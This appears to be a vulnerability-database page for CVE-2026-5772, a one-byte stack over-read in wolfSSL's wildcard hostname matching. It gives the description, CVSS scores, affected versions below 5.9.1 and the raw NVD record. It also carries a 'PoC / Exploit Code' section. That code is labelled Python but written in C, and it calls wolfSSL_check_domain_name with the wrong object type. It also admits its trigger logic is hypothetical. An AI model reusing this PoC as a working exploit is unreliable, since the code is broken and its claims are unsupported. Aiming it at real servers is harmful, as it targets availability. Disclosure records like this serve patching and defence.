Security Vulnerability Report
中文
CVE-2026-5772 CVSS 5.3 MEDIUM

CVE-2026-5772

Published: 2026-04-09 22:16:37
Last Modified: 2026-04-29 14:52:46

Description

A 1-byte stack buffer over-read was identified in the MatchDomainName function (src/internal.c) during wildcard hostname validation when the LEFT_MOST_WILDCARD_ONLY flag is active. If a wildcard * exhausts the entire hostname string, the function reads one byte past the buffer without a bounds check, which could cause a crash.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:* - VULNERABLE
wolfSSL (版本信息请参考PR #10119修复前的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-5772: wolfSSL MatchDomainName Buffer Over-read * This code demonstrates the scenario triggering the vulnerability. * Compile with: gcc -o poc_cve2026_5772 poc_cve2026_5772.c -lwolfssl */ #include <wolfssl/ssl.h> #include <stdio.h> #include <string.h> int main(int argc, char** argv) { WOLFSSL_CTX* ctx; WOLFSSL* ssl; const char* hostname = "*"; // Input designed to exhaust buffer // Initialize wolfSSL library wolfSSL_Init(); // Create and initialize WOLFSSL_CTX ctx = wolfSSL_CTX_new(wolfTLSv1_3_client_method()); if (ctx == NULL) { printf("Error creating WOLFSSL_CTX\n"); return 1; } // The vulnerability occurs in the internal MatchDomainName function // when validating hostnames with specific wildcard patterns. // The following call simulates the check that leads to the over-read. // Note: Exact trigger depends on internal implementation details of the vulnerable version. printf("Attempting to trigger CVE-2026-5772 with hostname: %s\n", hostname); // In a real exploit, this would happen during the handshake verification. // We simulate the condition where the wildcard exhausts the string. // If the library is vulnerable, this may cause a crash (DoS). // Hypothetical check logic (actual vulnerability is in src/internal.c) if (wolfSSL_check_domain_name(ctx, hostname) != SSL_SUCCESS) { // Depending on the version, this might fail or crash printf("Domain check failed (or crashed).\n"); } else { printf("Domain check passed.\n"); } // Cleanup wolfSSL_CTX_free(ctx); wolfSSL_Cleanup(); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-5772", "sourceIdentifier": "[email protected]", "published": "2026-04-09T22:16:36.937", "lastModified": "2026-04-29T14:52:45.697", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A 1-byte stack buffer over-read was identified in the MatchDomainName function (src/internal.c) during wildcard hostname validation when the LEFT_MOST_WILDCARD_ONLY flag is active. If a wildcard * exhausts the entire hostname string, the function reads one byte past the buffer without a bounds check, which could cause a crash."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-126"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.9.1", "matchCriteriaId": "261C41E4-7F04-4C98-AD63-110136730EE9"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl/pull/10119", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}